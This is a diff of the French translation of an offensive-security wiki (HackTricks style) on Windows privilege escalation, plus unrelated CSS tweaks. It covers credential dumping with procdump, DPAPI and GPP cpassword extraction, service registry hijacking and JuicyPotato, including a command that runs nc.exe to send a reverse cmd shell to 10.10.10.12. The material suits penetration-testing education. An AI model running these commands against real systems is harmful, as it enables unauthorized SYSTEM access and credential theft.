"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Extraction de mots de passe en mémoire
|
||||
|
||||
Vous pouvez créer un vidage de mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair en mémoire**, essayez de vider la mémoire et de lire les identifiants.
|
||||
Vous pouvez créer un dump de mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair en mémoire**, essayez de dumper la mémoire et de lire les identifiants.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -420,7 +420,7 @@ Il est recommandé d'avoir le binaire **accesschk** de _Sysinternals_ pour véri
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
Il est recommandé de vérifier si "Authenticated Users" peut modifier un service :
|
||||
Il est recommandé de vérifier si "Authenticated Users" peut modifier un service.
|
||||
```bash
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Si vous avez cette erreur (par exemple avec SSDPSRV) :
|
||||
|
||||
_Une erreur système 1058 s'est produite._\
|
||||
&#xNAN;_TLe service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés associés._
|
||||
&#xNAN;_TLe service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés qui lui sont associés._
|
||||
|
||||
Vous pouvez l'activer en utilisant
|
||||
```bash
|
||||
@ -505,17 +505,17 @@ Pour changer le chemin du binaire exécuté :
|
||||
```bash
|
||||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||||
```
|
||||
### Permissions AppendData/AddSubdirectory du registre des services
|
||||
### Services registry AppendData/AddSubdirectory permissions
|
||||
|
||||
Si vous avez cette permission sur un registre, cela signifie que **vous pouvez créer des sous-registres à partir de celui-ci**. Dans le cas des services Windows, cela est **suffisant pour exécuter du code arbitraire :**
|
||||
Si vous avez cette permission sur un registre, cela signifie que **vous pouvez créer des sous-registres à partir de celui-ci**. Dans le cas des services Windows, cela **suffit à exécuter du code arbitraire :**
|
||||
|
||||
{{#ref}}
|
||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### Chemins de service non cités
|
||||
### Unquoted Service Paths
|
||||
|
||||
Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque élément se terminant par un espace.
|
||||
Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque partie se terminant par un espace.
|
||||
|
||||
Par exemple, pour le chemin _C:\Program Files\Some Folder\Service.exe_, Windows essaiera d'exécuter :
|
||||
```powershell
|
||||
@ -568,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
|
||||
Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier spécial ou si vous pouvez modifier un binaire qui va être exécuté par un compte Administrateur (schedtasks).
|
||||
|
||||
Une façon de trouver des permissions de dossier/fichier faibles dans le système est de faire :
|
||||
Une façon de trouver des permissions de dossiers/fichiers faibles dans le système est de faire :
|
||||
```bash
|
||||
accesschk.exe /accepteula
|
||||
# Find all weak folder permissions per drive.
|
||||
@ -634,7 +634,7 @@ net share #Check current shares
|
||||
```
|
||||
### fichier hosts
|
||||
|
||||
Vérifiez d'autres ordinateurs connus codés en dur dans le fichier hosts.
|
||||
Vérifiez d'autres ordinateurs connus codés en dur dans le fichier hosts
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
@ -698,14 +698,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
|
||||
```
|
||||
### Gestionnaire d'identifiants / Coffre-fort Windows
|
||||
### Gestionnaire d'identifiants / Coffre Windows
|
||||
|
||||
De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Le Coffre-fort Windows stocke les identifiants des utilisateurs pour les serveurs, les sites web et d'autres programmes que **Windows** peut **connecter les utilisateurs automatiquement**. À première vue, cela peut sembler que les utilisateurs peuvent maintenant stocker leurs identifiants Facebook, identifiants Twitter, identifiants Gmail, etc., afin qu'ils se connectent automatiquement via les navigateurs. Mais ce n'est pas le cas.
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Le Coffre Windows stocke les identifiants des utilisateurs pour les serveurs, les sites web et d'autres programmes que **Windows** peut **connecter les utilisateurs automatiquement**. À première vue, cela peut sembler que les utilisateurs peuvent maintenant stocker leurs identifiants Facebook, identifiants Twitter, identifiants Gmail, etc., afin qu'ils se connectent automatiquement via les navigateurs. Mais ce n'est pas le cas.
|
||||
|
||||
Le Coffre-fort Windows stocke des identifiants que Windows peut utiliser pour connecter les utilisateurs automatiquement, ce qui signifie que toute **application Windows qui a besoin d'identifiants pour accéder à une ressource** (serveur ou site web) **peut utiliser ce Gestionnaire d'identifiants** & Coffre-fort Windows et utiliser les identifiants fournis au lieu que les utilisateurs saisissent le nom d'utilisateur et le mot de passe tout le temps.
|
||||
Le Coffre Windows stocke des identifiants que Windows peut utiliser pour connecter les utilisateurs automatiquement, ce qui signifie que toute **application Windows qui a besoin d'identifiants pour accéder à une ressource** (serveur ou site web) **peut utiliser ce Gestionnaire d'identifiants** & Coffre Windows et utiliser les identifiants fournis au lieu que les utilisateurs saisissent le nom d'utilisateur et le mot de passe tout le temps.
|
||||
|
||||
À moins que les applications n'interagissent avec le Gestionnaire d'identifiants, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application souhaite utiliser le coffre-fort, elle doit d'une manière ou d'une autre **communiquer avec le gestionnaire d'identifiants et demander les identifiants pour cette ressource** depuis le coffre-fort de stockage par défaut.
|
||||
À moins que les applications n'interagissent avec le Gestionnaire d'identifiants, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application souhaite utiliser le coffre, elle doit d'une manière ou d'une autre **communiquer avec le gestionnaire d'identifiants et demander les identifiants pour cette ressource** depuis le coffre de stockage par défaut.
|
||||
|
||||
Utilisez `cmdkey` pour lister les identifiants stockés sur la machine.
|
||||
```bash
|
||||
@ -727,9 +727,9 @@ Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/
|
||||
|
||||
### DPAPI
|
||||
|
||||
L'**API de protection des données (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée dans le système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.
|
||||
L'**API de protection des données (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.
|
||||
|
||||
**DPAPI permet le chiffrement des clés à travers une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, il utilise les secrets d'authentification de domaine du système.
|
||||
**DPAPI permet le chiffrement des clés à travers une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, elle utilise les secrets d'authentification de domaine du système.
|
||||
|
||||
Les clés RSA utilisateur chiffrées, en utilisant DPAPI, sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où `{SID}` représente l'[Identifiant de sécurité](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, co-localisée avec la clé maîtresse qui protège les clés privées de l'utilisateur dans le même fichier**, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant l'affichage de son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell).
|
||||
```powershell
|
||||
@ -795,12 +795,12 @@ Vous pouvez **extraire de nombreuses clés maîtresses DPAPI** de la mémoire av
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
Les gens utilisent souvent l'application StickyNotes sur les stations de travail Windows pour **enregistrer des mots de passe** et d'autres informations, sans réaliser qu'il s'agit d'un fichier de base de données. Ce fichier est situé à `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et vaut toujours la peine d'être recherché et examiné.
|
||||
Les gens utilisent souvent l'application StickyNotes sur les stations de travail Windows pour **enregistrer des mots de passe** et d'autres informations, sans réaliser qu'il s'agit d'un fichier de base de données. Ce fichier se trouve à `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` et vaut toujours la peine d'être recherché et examiné.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**Notez que pour récupérer des mots de passe à partir d'AppCmd.exe, vous devez être Administrateur et exécuter sous un niveau d'intégrité élevé.**\
|
||||
**AppCmd.exe** est situé dans le répertoire `%systemroot%\system32\inetsrv\` .\
|
||||
**AppCmd.exe** se trouve dans le répertoire `%systemroot%\system32\inetsrv\` .\
|
||||
Si ce fichier existe, il est possible que certaines **informations d'identification** aient été configurées et puissent être **récupérées**.
|
||||
|
||||
Ce code a été extrait de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
@ -982,7 +982,7 @@ Une fonctionnalité était auparavant disponible qui permettait le déploiement
|
||||
|
||||
Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" qui n'est pas vide. Lorsqu'un tel fichier est trouvé, la fonction déchiffre le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la remédiation de cette vulnérabilité de sécurité.
|
||||
|
||||
Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ ces fichiers :
|
||||
Recherchez dans `C:\ProgramData\Microsoft\Group Policy\history` ou dans _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (avant W Vista)_ pour ces fichiers :
|
||||
|
||||
- Groups.xml
|
||||
- Services.xml
|
||||
@ -1000,7 +1000,7 @@ Utiliser crackmapexec pour obtenir les mots de passe :
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||||
```
|
||||
### Configuration Web IIS
|
||||
### IIS Web Config
|
||||
```powershell
|
||||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
@ -1156,7 +1156,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### Historique des navigateurs
|
||||
|
||||
Vous devriez vérifier les bases de données où les mots de passe de **Chrome ou Firefox** sont stockés.\
|
||||
Vous devez vérifier les bases de données où les mots de passe de **Chrome ou Firefox** sont stockés.\
|
||||
Vérifiez également l'historique, les signets et les favoris des navigateurs, car certains **mots de passe peuvent** y être stockés.
|
||||
|
||||
Outils pour extraire des mots de passe des navigateurs :
|
||||
@ -1168,15 +1168,15 @@ Outils pour extraire des mots de passe des navigateurs :
|
||||
|
||||
### **Écrasement de DLL COM**
|
||||
|
||||
**Component Object Model (COM)** est une technologie intégrée dans le système d'exploitation Windows qui permet l'**intercommunication** entre des composants logiciels de différents langages. Chaque composant COM est **identifié par un ID de classe (CLSID)** et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées par des IDs d'interface (IIDs).
|
||||
**Component Object Model (COM)** est une technologie intégrée dans le système d'exploitation Windows qui permet l'**intercommunication** entre des composants logiciels de différentes langues. Chaque composant COM est **identifié par un ID de classe (CLSID)** et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées par des IDs d'interface (IIDs).
|
||||
|
||||
Les classes et interfaces COM sont définies dans le registre sous **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** et **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivement. Ce registre est créé en fusionnant **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
À l'intérieur des CLSIDs de ce registre, vous pouvez trouver le registre enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Monothread), **Free** (Multithread), **Both** (Monothread ou Multithread) ou **Neutral** (Thread Neutre).
|
||||
À l'intérieur des CLSID de ce registre, vous pouvez trouver le registre enfant **InProcServer32** qui contient une **valeur par défaut** pointant vers une **DLL** et une valeur appelée **ThreadingModel** qui peut être **Apartment** (Monothread), **Free** (Multithread), **Both** (Monothread ou Multithread) ou **Neutral** (Thread Neutre).
|
||||
|
||||
.png>)
|
||||
|
||||
En gros, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un autre utilisateur.
|
||||
Fondamentalement, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un utilisateur différent.
|
||||
|
||||
Pour apprendre comment les attaquants utilisent le détournement COM comme mécanisme de persistance, consultez :
|
||||
|
||||
@ -1223,7 +1223,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
Imaginez qu'**un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec des privilèges faibles mais héritant de tous les gestionnaires ouverts du processus principal**.\
|
||||
Ensuite, si vous avez **un accès complet au processus à faibles privilèges**, vous pouvez saisir le **gestionnaire ouvert vers le processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\
|
||||
[Lire cet exemple pour plus d'informations sur **comment détecter et exploiter cette vulnérabilité**.](leaked-handle-exploitation.md)\
|
||||
[Lire ce **autre article pour une explication plus complète sur comment tester et abuser de plus de gestionnaires ouverts de processus et de threads hérités avec différents niveaux de permissions (pas seulement un accès complet)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
[Lire ce **autre article pour une explication plus complète sur la façon de tester et d'abuser de plus de gestionnaires ouverts de processus et de threads hérités avec différents niveaux de permissions (pas seulement un accès complet)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
## Usurpation de client de pipe nommé
|
||||
|
||||
@ -1239,7 +1239,7 @@ De plus, l'outil suivant permet de **intercepter une communication de pipe nomm
|
||||
|
||||
### **Surveillance des lignes de commande pour les mots de passe**
|
||||
|
||||
Lors de l'obtention d'un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus en cours d'exécution qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant les différences.
|
||||
Lorsqu'on obtient un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus en cours d'exécution qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, en affichant les différences.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1335,7 +1335,7 @@ Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus déjà à haute intégrité), vous serez en mesure d'**ouvrir presque n'importe quel processus** (processus non protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
|
||||
Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité), vous pourrez **ouvrir presque n'importe quel processus** (processus non protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
|
||||
Utiliser cette technique consiste généralement à **sélectionner n'importe quel processus s'exécutant en tant que SYSTEM avec tous les privilèges de jeton** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de jeton_).\
|
||||
**Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
@ -1347,12 +1347,14 @@ Si vous voulez lire un exemple de [**comment passer d'une haute intégrité à S
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous serez en mesure d'exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger les dll.\
|
||||
Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger des dlls.\
|
||||
**Vous pouvez** [**en savoir plus sur le Dll hijacking ici**](dll-hijacking/)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
@ -1378,7 +1380,7 @@ Si vous parvenez à **détourner une dll** étant **chargée** par un **processu
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh est un outil de spoofing et d'homme du milieu PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Énumération de base des privesc Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Recherche de vulnérabilités de privesc connues (DÉPRÉCIÉ pour Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Vérifications locales **(Besoin de droits Admin)**
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Vérifications locales **(Nécessite des droits d'administrateur)**
|
||||
|
||||
**Exe**
|
||||
|
||||
@ -1386,8 +1388,8 @@ Si vous parvenez à **détourner une dll** étant **chargée** par un **processu
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Énumère l'hôte à la recherche d'erreurs de configuration (plus un outil de collecte d'informations qu'un privesc) (doit être compilé) **(**[**précompilé**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrait des identifiants de nombreux logiciels (exe précompilé sur github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp en C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifiez les erreurs de configuration (exécutable précompilé sur github). Non recommandé. Cela ne fonctionne pas bien sur Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifiez les erreurs de configuration possibles (exe de python). Non recommandé. Cela ne fonctionne pas bien sur Win10.
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifiez les erreurs de configuration (exécutable précompilé sur github). Pas recommandé. Cela ne fonctionne pas bien sur Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifiez les erreurs de configuration possibles (exe de python). Pas recommandé. Cela ne fonctionne pas bien sur Win10.
|
||||
|
||||
**Bat**
|
||||
|
||||
|
||||
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et ultérieurs. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. _**Vérifiez :**_
|
||||
> [!WARNING] > **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. _**Vérifiez :**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
@ -25,7 +24,7 @@ Nous avons décidé d'armement [RottenPotatoNG](https://github.com/breenmachine/
|
||||
|
||||
> Pour la théorie, voir [Rotten Potato - Escalade de privilèges des comptes de service à SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) et suivez la chaîne de liens et de références.
|
||||
|
||||
Nous avons découvert que, en plus de `BITS`, il existe plusieurs serveurs COM que nous pouvons abuser. Ils doivent simplement :
|
||||
Nous avons découvert qu'en plus de `BITS`, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :
|
||||
|
||||
1. être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'imitation
|
||||
2. implémenter l'interface `IMarshal`
|
||||
@ -44,7 +43,7 @@ JuicyPotato vous permet de :
|
||||
- `CreateProcessWithToken` (nécessite `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (nécessite `SeAssignPrimaryToken`)
|
||||
- `les deux`
|
||||
- **Processus à lancer** _lancez un exécutable ou un script si l'exploitation réussit_
|
||||
- **Processus à lancer** _lancer un exécutable ou un script si l'exploitation réussit_
|
||||
- **Argument de processus** _personnalisez les arguments du processus lancé_
|
||||
- **Adresse du serveur RPC** _pour une approche furtive, vous pouvez vous authentifier à un serveur RPC externe_
|
||||
- **Port du serveur RPC** _utile si vous souhaitez vous authentifier à un serveur externe et que le pare-feu bloque le port `135`…_
|
||||
@ -69,13 +68,13 @@ Optional args:
|
||||
```
|
||||
### Pensées finales <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**Depuis le Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**Depuis juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Si l'utilisateur a les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`, alors vous êtes **SYSTEM**.
|
||||
|
||||
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez envisager de modifier les autorisations de ces objets via `DCOMCNFG`, mais bonne chance, cela va être difficile.
|
||||
Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez penser à modifier les permissions de ces objets via `DCOMCNFG`, mais bonne chance, cela va être difficile.
|
||||
|
||||
La véritable solution est de protéger les comptes et applications sensibles qui fonctionnent sous les comptes `* SERVICE`. Arrêter `DCOM` inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
|
||||
La solution réelle est de protéger les comptes et applications sensibles qui fonctionnent sous les comptes `* SERVICE`. Arrêter `DCOM` inhiberait certainement cette exploitation, mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
|
||||
|
||||
De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
@ -83,7 +82,7 @@ De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
Remarque : Visitez [cette page](https://ohpe.it/juicy-potato/CLSID/) pour une liste de CLSIDs à essayer.
|
||||
|
||||
### Obtenir un shell inverse nc.exe
|
||||
### Obtenir un shell inversé nc.exe
|
||||
```
|
||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||
|
||||
@ -108,7 +107,9 @@ c:\Users\Public>
|
||||
|
||||
Souvent, le CLSID par défaut que JuicyPotato utilise **ne fonctionne pas** et l'exploit échoue. En général, il faut plusieurs tentatives pour trouver un **CLSID fonctionnel**. Pour obtenir une liste de CLSIDs à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **Vérification des CLSIDs**
|
||||
|
||||
@ -116,7 +117,7 @@ Tout d'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.
|
||||
|
||||
Téléchargez [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) et chargez-le dans votre session PS, puis téléchargez et exécutez [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ce script créera une liste de CLSIDs possibles à tester.
|
||||
|
||||
Ensuite, téléchargez [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (changez le chemin vers la liste des CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifiera que le CLSID a fonctionné**.
|
||||
Ensuite, téléchargez [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (changez le chemin vers la liste des CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifiera que le CLSID a fonctionné**.
|
||||
|
||||
**Vérifiez** les CLSIDs fonctionnels **en utilisant le paramètre -c**
|
||||
|
||||
|
||||
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
||||
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
||||
@ -176,10 +176,12 @@
|
||||
|
||||
